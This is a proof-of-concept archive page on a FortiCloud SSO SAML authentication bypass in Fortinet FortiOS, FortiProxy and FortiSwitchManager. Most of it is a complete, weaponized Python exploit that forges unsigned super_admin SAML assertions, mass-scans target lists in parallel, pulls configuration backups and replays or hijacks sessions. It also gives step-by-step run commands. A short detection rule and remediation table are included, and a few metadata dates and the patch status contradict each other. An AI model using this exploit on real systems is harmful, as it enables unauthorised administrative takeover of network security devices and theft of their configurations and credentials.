PoC Archive PoC Archive
Critical CVE-2025-59718, CVE-2025-59719 (Advisory: FG-IR-25-647) unpatched

Fortinet FortiCloud SSO Authentication Bypass

by exfil0 · 2026-05-17

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-59718, CVE-2025-59719 (Advisory: FG-IR-25-647)
Category
network
Affected product
Fortinet FortiOS, FortiProxy, FortiSwitchManager (FortiCloud SSO feature)
Affected versions
FortiOS prior to 7.4.9; see Fortinet advisory FG-IR-25-647 for full version matrix
Disclosed
2026-05-17
Patch status
unpatched

Metadata

FieldValue
Date Added2026-05-17
Last Updated2025-12-22
Author / Researcherexfil0
CVE / AdvisoryCVE-2025-59718, CVE-2025-59719 (Advisory: FG-IR-25-647)
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSSv3)
StatusWeaponized
Tagsauth-bypass, SAML, SSO, unauthenticated, FortiOS, FortiProxy, FortiSwitchManager, active-exploitation
RelatedN/A

Affected Target

FieldValue
Software / SystemFortinet FortiOS, FortiProxy, FortiSwitchManager (FortiCloud SSO feature)
Versions AffectedFortiOS prior to 7.4.9; see Fortinet advisory FG-IR-25-647 for full version matrix
Language / PlatformPython 3.8+; targets any Fortinet product with FortiCloud SSO enabled
Authentication RequiredNo (unauthenticated)
Network Access RequiredYes (network access to management interface)

Summary

CVE-2025-59718 and CVE-2025-59719 are closely related authentication-bypass vulnerabilities (CWE-347: Improper Verification of Cryptographic Signature) in Fortinet products that use the FortiCloud SSO login feature. Both were disclosed by Fortinet on 9 December 2025. An unauthenticated remote attacker can craft and submit an unsigned SAML response to the FortiCloud SSO endpoint, causing the device to authenticate the attacker with administrative privileges. As of December 22, 2025, this vulnerability is actively exploited in the wild. Immediate patching and disabling of FortiCloud SSO is strongly recommended.


Vulnerability Details

Root Cause

The SAML response handler in the FortiCloud SSO login flow does not validate the cryptographic signature of the SAML assertion before processing it (CWE-347). An attacker can submit a self-crafted, unsigned SAML response with any username and role (e.g., super_admin), and the product accepts it as a legitimate authentication assertion from the FortiCloud SSO identity provider.

Attack Vector

An unauthenticated attacker sends an HTTP POST request to the SAML consumer endpoint (default: /remote/saml/login) with a crafted SAMLResponse parameter containing an unsigned assertion. The assertion includes a target username, role super_admin, and a dynamically generated valid-looking issuer and timestamp. The device processes the SAML response without signature verification and establishes an administrative session.

Impact

Full administrative access to the targeted Fortinet device as any impersonated user. Post-exploitation capabilities include downloading the running system configuration file via /api/v2/monitor/system/config/backup, performing SAML token replay, and SSO session hijacking. On affected internet-facing devices, this translates to complete network security control including firewall policy modification, VPN access, and credential exposure.


Environment / Lab Setup

OS:          Linux / macOS / Windows (any with Python 3.8+)
Target:      Fortinet FortiOS < 7.4.9 with FortiCloud SSO enabled
Attacker:    Any host with network access to the target management interface
Tools:       Python 3.8+, pip (requests, argparse)

Setup Steps

1
pip install requests argparse

Proof of Concept

Step-by-Step Reproduction

  1. Confirm target reachability - Ensure the FortiOS management interface is accessible and FortiCloud SSO is enabled.

    1
    2
    
    curl -sk https://<TARGET>/remote/saml/login -o /dev/null -w "%{http_code}"
    # Expect 200 or 302 to SSO redirect
    
  2. Run the exploit - Single target scan impersonating admin user.

    1
    
    python exploit.py --target <TARGET_IP> --username admin
    
  3. Post-exploitation - Download system configuration on successful bypass.

    1
    
    python exploit.py --target <TARGET_IP> --username admin --post-auth-config
    
  4. Bulk scan - Scan multiple targets in parallel.

    1
    
    python exploit.py --file targets.txt --max-threads 20 --post-auth-config --output-file results.csv
    

Exploit Code

See exploit.py in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests, base64
from datetime import datetime, timedelta

TARGET = "https://192.168.1.1"
USERNAME = "admin"
ENDPOINT = "/remote/saml/login"

now = datetime.utcnow()
saml = f"""<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
    ID="_bypass1337" Version="2.0" IssueInstant="{now.strftime('%Y-%m-%dT%H:%M:%SZ')}"
    Destination="{TARGET}{ENDPOINT}">
  <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" Version="2.0">
    <saml:Issuer>https://sso.forticloud.com</saml:Issuer>
    <saml:AttributeStatement>
      <saml:Attribute Name="role">
        <saml:AttributeValue>super_admin</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>"""

r = requests.post(f"{TARGET}{ENDPOINT}",
                  data={"SAMLResponse": base64.b64encode(saml.encode()).decode(), "RelayState": ""},
                  verify=False, allow_redirects=True, timeout=15)
if r.status_code in [200, 302] and any(k in r.text.lower() for k in ["dashboard", "logout", "fortios"]):
    print(f"[+] VULNERABLE - Authenticated as {USERNAME}")
    print(f"[+] Cookies: {r.cookies.get_dict()}")

Expected Output

2025-12-22 12:00:00,000 - INFO - [+] Targeting: https://192.168.1.1/remote/saml/login (Thread: ThreadPoolExecutor-0_0)
2025-12-22 12:00:00,521 - INFO - [+++] SUCCESS - Vulnerable: https://192.168.1.1 (Authenticated as admin)
2025-12-22 12:00:00,521 - INFO - [+] Cookies: {'APSCOOKIE_9443': 'Era%3D0...'}
2025-12-22 12:00:00,521 - INFO - [+] URL: https://192.168.1.1/ng/

Screenshots / Evidence

  • No screenshots included in source repository.

Detection & Indicators of Compromise

POST /remote/saml/login HTTP/1.1 200 - "SAMLResponse=<base64>..." 
type=event subtype=user action=login status=success msg="Administrator admin logged in successfully from <IP>"

GET /api/v2/monitor/system/config/backup?scope=global HTTP/1.1 200

SIEM / IDS Rule (example):

alert http any any -> $FORTINET_MGMT any (msg:"CVE-2025-59718 SAML Bypass Attempt"; content:"POST"; http_method; content:"/remote/saml/login"; http_uri; content:"SAMLResponse="; http_client_body; sid:9002025; rev:1;)

Remediation

ActionDetail
PatchUpgrade FortiOS to 7.4.9 or later; see Fortinet advisory FG-IR-25-647 for full version matrix
WorkaroundDisable FortiCloud SSO via CLI: config system global / set admin-forticloud-sso-login disable / end
Config HardeningRestrict management interface access to trusted IP ranges; enable MFA for admin accounts

References


Notes

Both CVE-2025-59718 and CVE-2025-59719 share the same CWE-347 root cause and affect the FortiCloud SSO SAML flow; they are frequently exploited together. The vulnerability was actively exploited in the wild as of December 22, 2025. The PoC supports bulk scanning with threading and post-exploitation config exfiltration. Auto-ingested from https://github.com/exfil0/CVE-2025-59718-PoC on 2026-05-17.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
import requests
import urllib3
import base64
from datetime import datetime, timedelta
import concurrent.futures
import threading
import logging
from typing import List, Optional
import os
import csv
from time import sleep
import argparse

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

def generate_saml_bypass(target_url: str, username: str = "admin") -> str:
    """
    Generate a SAML bypass payload to exploit the vulnerability.
    """
    now = datetime.utcnow()
    not_before = (now - timedelta(minutes=5)).strftime('%Y-%m-%dT%H:%M:%SZ')
    not_after = (now + timedelta(hours=1)).strftime('%Y-%m-%dT%H:%M:%SZ')

    saml = f"""<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
    ID="_bypass1337"
    Version="2.0"
    IssueInstant="{now.strftime('%Y-%m-%dT%H:%M:%SZ')}"
    Destination="{target_url}">
    <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://sso.forticloud.com</saml:Issuer>
    <samlp:Status>
        <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
    </samlp:Status>
    <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
        Version="2.0"
        ID="_assert1337"
        IssueInstant="{now.strftime('%Y-%m-%dT%H:%M:%SZ')}">
        <saml:Issuer>https://sso.forticloud.com</saml:Issuer>
        <saml:Subject>
            <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">{username}@forticloud.com</saml:NameID>
            <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <saml:SubjectConfirmationData NotOnOrAfter="{not_after}" Recipient="{target_url}"/>
            </saml:SubjectConfirmation>
        </saml:Subject>
        <saml:Conditions NotBefore="{not_before}" NotOnOrAfter="{not_after}">
            <saml:AudienceRestriction>
                <saml:Audience>https://forticloud.com</saml:Audience>
            </saml:AudienceRestriction>
        </saml:Conditions>
        <saml:AuthnStatement AuthnInstant="{now.strftime('%Y-%m-%dT%H:%M:%SZ')}" SessionIndex="_session1337">
            <saml:AuthnContext>
                <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef>
            </saml:AuthnContext>
        </saml:AuthnStatement>
        <saml:AttributeStatement>
            <saml:Attribute Name="role">
                <saml:AttributeValue>super_admin</saml:AttributeValue>
            </saml:Attribute>
        </saml:AttributeStatement>
    </saml:Assertion>
</samlp:Response>"""
    return base64.b64encode(saml.encode('utf-8')).decode('utf-8')

def exploit_target(target: str, username: str, endpoint: str, proxy: Optional[str] = None, results_lock: threading.Lock = None, vulnerable_file: str = "vulnerable_targets.txt", saml_token: Optional[str] = None, output_file: str = "attack_report.csv", post_auth_config: bool = False) -> bool:
    """
    Attempt to exploit a single target.
    """
    if not target.startswith("http"):
        target = "https://" + target
    target = target.rstrip("/")
    url = f"{target}{endpoint}"

    try:
        saml_b64 = generate_saml_bypass(url, username)
    except Exception as e:
        logger.error(f"SAML generation failed for {target}: {str(e)}")
        return False

    data = {
        "SAMLResponse": saml_b64,
        "RelayState": ""
    }

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded"
    }

    if proxy:
        proxies = {"http": proxy, "https": proxy}
    else:
        proxies = None

    logger.info(f"[+] Targeting: {url} (Thread: {threading.current_thread().name})")
    try:
        session = requests.Session()
        r = session.post(url, data=data, headers=headers, verify=False, allow_redirects=True, timeout=15, proxies=proxies)
        if r.status_code in [200, 302]:
            if any(keyword in r.text.lower() for keyword in ["logout", "dashboard", "fortios", "fortiproxy"]):
                logger.info(f"[+++] SUCCESS - Vulnerable: {target} (Authenticated as {username})")
                logger.info(f"[+] Cookies: {session.cookies.get_dict()}")
                logger.info(f"[+] URL: {r.url}")

                # Print browser cookie instructions
                logger.info("\n[+] Browser cookie instructions:")
                for k, v in session.cookies.items():
                    logger.info(f"    document.cookie = '{k}={v}';")

                # Save to vulnerable file
                try:
                    if results_lock:
                        with results_lock:
                            with open(vulnerable_file, 'a') as f:
                                f.write(f"{target} - Vulnerable\nCookies: {session.cookies.get_dict()}\nURL: {r.url}\n\n")
                    else:
                        with open(vulnerable_file, 'a') as f:
                            f.write(f"{target} - Vulnerable\nCookies: {session.cookies.get_dict()}\nURL: {r.url}\n\n")
                except Exception as e:
                    logger.error(f"Vulnerable file write failed for {target}: {str(e)}")

                # Initialize CSV if not exists
                try:
                    if results_lock:
                        with results_lock:
                            if not os.path.exists(output_file):
                                with open(output_file, 'w', newline='') as f:
                                    writer = csv.writer(f)
                                    writer.writerow(["Target", "Username", "Attack Type", "Result", "Status Code"])
                    else:
                        if not os.path.exists(output_file):
                            with open(output_file, 'w', newline='') as f:
                                writer = csv.writer(f)
                                writer.writerow(["Target", "Username", "Attack Type", "Result", "Status Code"])
                except Exception as e:
                    logger.error(f"CSV init failed: {str(e)}")

                # Post-auth config download
                if post_auth_config:
                    logger.info(f"[+] Attempting to download system configuration from {target}...")
                    try:
                        config_url = f"{target}/api/v2/monitor/system/config/backup"
                        params = {"scope": "global"}
                        r_config = session.get(config_url, params=params, verify=False, timeout=15, proxies=proxies)
                        if r_config.status_code == 200:
                            config_filename = f"{target.replace('https://', '').replace('/', '_')}_config.conf"
                            try:
                                with open(config_filename, 'w') as f:
                                    f.write(r_config.text)
                                logger.info(f"[++] System configuration downloaded successfully to {config_filename}")
                            except Exception as write_e:
                                logger.error(f"Config file write failed for {target}: {str(write_e)}")
                                raise  # Re-raise to log in CSV as failed
                            try:
                                if results_lock:
                                    with results_lock:
                                        with open(output_file, 'a', newline='') as f:
                                            writer = csv.writer(f)
                                            writer.writerow([target, username, "Config Download", "Success", r_config.status_code])
                                else:
                                    with open(output_file, 'a', newline='') as f:
                                        writer = csv.writer(f)
                                        writer.writerow([target, username, "Config Download", "Success", r_config.status_code])
                            except Exception as csv_e:
                                logger.error(f"CSV write failed for config success on {target}: {str(csv_e)}")
                        else:
                            logger.warning(f"[-] Config download failed on {target} (Status: {r_config.status_code})")
                            try:
                                if results_lock:
                                    with results_lock:
                                        with open(output_file, 'a', newline='') as f:
                                            writer = csv.writer(f)
                                            writer.writerow([target, username, "Config Download", "Failed", r_config.status_code])
                                else:
                                    with open(output_file, 'a', newline='') as f:
                                        writer = csv.writer(f)
                                        writer.writerow([target, username, "Config Download", "Failed", r_config.status_code])
                            except Exception as csv_e:
                                logger.error(f"CSV write failed for config failure on {target}: {str(csv_e)}")
                    except requests.exceptions.RequestException as config_e:
                        logger.error(f"Network error in config download on {target}: {str(config_e)}")
                        try:
                            if results_lock:
                                with results_lock:
                                    with open(output_file, 'a', newline='') as f:
                                        writer = csv.writer(f)
                                        writer.writerow([target, username, "Config Download", "Failed (Network Error)", "N/A"])
                            else:
                                with open(output_file, 'a', newline='') as f:
                                    writer = csv.writer(f)
                                    writer.writerow([target, username, "Config Download", "Failed (Network Error)", "N/A"])
                        except Exception as csv_e:
                            logger.error(f"CSV write failed for config network error on {target}: {str(csv_e)}")
                    except Exception as config_e:
                        logger.error(f"Unexpected error in config download on {target}: {str(config_e)}")
                        try:
                            if results_lock:
                                with results_lock:
                                    with open(output_file, 'a', newline='') as f:
                                        writer = csv.writer(f)
                                        writer.writerow([target, username, "Config Download", "Failed (Unexpected Error)", "N/A"])
                            else:
                                with open(output_file, 'a', newline='') as f:
                                    writer = csv.writer(f)
                                    writer.writerow([target, username, "Config Download", "Failed (Unexpected Error)", "N/A"])
                        except Exception as csv_e:
                            logger.error(f"CSV write failed for config unexpected error on {target}: {str(csv_e)}")

                # SAML token replay attack with new session
                if saml_token:
                    logger.info(f"[+] Attempting SAML token replay attack on {target}...")
                    try:
                        replay_session = requests.Session()
                        try:
                            # Assume saml_token is base64-encoded; if not, encode it
                            base64.b64decode(saml_token)  # Validate
                        except:
                            logger.warning("[!] Provided SAML token is not base64-encoded. Encoding it now.")
                            saml_token = base64.b64encode(saml_token.encode('utf-8')).decode('utf-8')

                        data["SAMLResponse"] = saml_token
                        r2 = replay_session.post(url, data=data, headers=headers, verify=False, allow_redirects=True, timeout=15, proxies=proxies)
                        if r2.status_code in [200, 302]:
                            if any(keyword in r2.text.lower() for keyword in ["logout", "dashboard", "fortios", "fortiproxy"]):
                                logger.info(f"[++] SAML token replay successful on {target}")
                                try:
                                    if results_lock:
                                        with results_lock:
                                            with open(output_file, 'a', newline='') as f:
                                                writer = csv.writer(f)
                                                writer.writerow([target, username, "SAML Token Replay", "Success", r2.status_code])
                                    else:
                                        with open(output_file, 'a', newline='') as f:
                                            writer = csv.writer(f)
                                            writer.writerow([target, username, "SAML Token Replay", "Success", r2.status_code])
                                except Exception as csv_e:
                                    logger.error(f"CSV write failed for replay success on {target}: {str(csv_e)}")
                            else:
                                logger.warning(f"[-] SAML token replay failed on {target}")
                                try:
                                    if results_lock:
                                        with results_lock:
                                            with open(output_file, 'a', newline='') as f:
                                                writer = csv.writer(f)
                                                writer.writerow([target, username, "SAML Token Replay", "Failed", r2.status_code])
                                    else:
                                        with open(output_file, 'a', newline='') as f:
                                            writer = csv.writer(f)
                                            writer.writerow([target, username, "SAML Token Replay", "Failed", r2.status_code])
                                except Exception as csv_e:
                                    logger.error(f"CSV write failed for replay failure on {target}: {str(csv_e)}")
                        sleep(1)  # Rate limit between attacks
                    except requests.exceptions.RequestException as replay_e:
                        logger.error(f"Network error in replay on {target}: {str(replay_e)}")
                    except Exception as replay_e:
                        logger.error(f"Unexpected error in replay on {target}: {str(replay_e)}")
                else:
                    logger.info("[+] SAML token replay not enabled.")

                # SSO session hijacking with new session (using same logic as replay but noted as separate for clarity; could be customized)
                if saml_token:
                    logger.info(f"[+] Attempting SSO session hijacking on {target}...")
                    try:
                        hijack_session = requests.Session()
                        data["SAMLResponse"] = saml_token  # Reuse token
                        r3 = hijack_session.post(url, data=data, headers=headers, verify=False, allow_redirects=True, timeout=15, proxies=proxies)
                        if r3.status_code in [200, 302]:
                            if any(keyword in r3.text.lower() for keyword in ["logout", "dashboard", "fortios", "fortiproxy"]):
                                logger.info(f"[++] SSO session hijacking successful on {target}")
                                try:
                                    if results_lock:
                                        with results_lock:
                                            with open(output_file, 'a', newline='') as f:
                                                writer = csv.writer(f)
                                                writer.writerow([target, username, "SSO Session Hijacking", "Success", r3.status_code])
                                    else:
                                        with open(output_file, 'a', newline='') as f:
                                            writer = csv.writer(f)
                                            writer.writerow([target, username, "SSO Session Hijacking", "Success", r3.status_code])
                                except Exception as csv_e:
                                    logger.error(f"CSV write failed for hijacking success on {target}: {str(csv_e)}")
                            else:
                                logger.warning(f"[-] SSO session hijacking failed on {target}")
                                try:
                                    if results_lock:
                                        with results_lock:
                                            with open(output_file, 'a', newline='') as f:
                                                writer = csv.writer(f)
                                                writer.writerow([target, username, "SSO Session Hijacking", "Failed", r3.status_code])
                                    else:
                                        with open(output_file, 'a', newline='') as f:
                                            writer = csv.writer(f)
                                            writer.writerow([target, username, "SSO Session Hijacking", "Failed", r3.status_code])
                                except Exception as csv_e:
                                    logger.error(f"CSV write failed for hijacking failure on {target}: {str(csv_e)}")
                        sleep(1)  # Rate limit between attacks
                    except requests.exceptions.RequestException as hijack_e:
                        logger.error(f"Network error in hijacking on {target}: {str(hijack_e)}")
                    except Exception as hijack_e:
                        logger.error(f"Unexpected error in hijacking on {target}: {str(hijack_e)}")
                else:
                    logger.info("[+] SSO session hijacking not enabled.")

                return True
            else:
                logger.warning(f"[-] Not vulnerable: {target} (Status: {r.status_code}, no success keywords)")
                return False
        else:
            logger.warning(f"[-] Not vulnerable: {target} (Status: {r.status_code})")
            return False
    except requests.exceptions.RequestException as e:
        logger.error(f"Network error on {target}: {str(e)}")
        return False
    except Exception as e:
        logger.error(f"Unexpected error on {target}: {str(e)}")
        return False

def main():
    """
    Main function to run the exploit.
    """
    parser = argparse.ArgumentParser(description="CVE-2025-59718 Exploit Wizard")
    parser.add_argument('--target', type=str, help="Single target IP/hostname")
    parser.add_argument('--targets', type=str, help="Comma-separated list of targets")
    parser.add_argument('--file', type=str, help="File path with one target per line")
    parser.add_argument('--username', type=str, default="admin", help="Username to impersonate (default: admin)")
    parser.add_argument('--endpoint', type=str, default="/remote/saml/login", help="SAML endpoint (default: /remote/saml/login)")
    parser.add_argument('--max-threads', type=int, default=10, help="Max parallel threads (default: 10)")
    parser.add_argument('--saml-token', type=str, help="SAML token for replay attack (optional, base64-encoded preferred)")
    parser.add_argument('--proxy', type=str, help="Proxy (optional, e.g., http://127.0.0.1:8080)")
    parser.add_argument('--post-auth-config', action='store_true', help="Perform post-auth config download")
    parser.add_argument('--vulnerable-file', type=str, default="vulnerable_targets.txt", help="File to save vulnerable targets (default: vulnerable_targets.txt)")
    parser.add_argument('--output-file', type=str, default="attack_report.csv", help="CSV file for attack reports (default: attack_report.csv)")

    args = parser.parse_args()

    logger.info("*** CVE-2025-59718 Exploit Wizard ***")
    logger.info("WARNING: Use ONLY on authorized systems. This demonstrates attack scale for awareness.")
    logger.info("Patch your Fortinet devices immediately! See Fortinet advisory for details.")

    targets: List[str] = []

    if args.target:
        targets = [args.target]
    elif args.targets:
        targets = [t.strip() for t in args.targets.split(',') if t.strip()]
    elif args.file:
        try:
            with open(args.file, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
        except Exception as e:
            logger.error(f"Error reading file {args.file}: {str(e)}")
            return
    else:
        logger.error("No targets provided. Use --target, --targets, or --file.")
        return

    if not targets:
        logger.info("No valid targets to process.")
        return

    username = args.username
    endpoint = args.endpoint
    max_threads = args.max_threads
    saml_token = args.saml_token
    proxy = args.proxy
    post_auth_config = args.post_auth_config
    vulnerable_file = args.vulnerable_file
    output_file = args.output_file
    results_lock = threading.Lock()

    logger.info(f"\nTargeting {len(targets)} devices with {max_threads} threads...")
    try:
        with concurrent.futures.ThreadPoolExecutor(max_workers=max_threads) as executor:
            futures = [executor.submit(exploit_target, t, username, endpoint, proxy, results_lock, vulnerable_file, saml_token, output_file, post_auth_config) for t in targets]
            vulnerable_count = sum(future.result() for future in concurrent.futures.as_completed(futures))
    except Exception as e:
        logger.error(f"Execution error: {str(e)}")
        return

    logger.info(f"\nScan complete. {vulnerable_count} vulnerable devices found.")
    if vulnerable_count > 0:
        logger.info(f"Details saved to {vulnerable_file}")
        logger.info(f"Attack reports saved to {output_file}")
    logger.info("Urgent: Patch to fixed versions and disable FortiCloud SAML if needed.")

if __name__ == "__main__":
    main()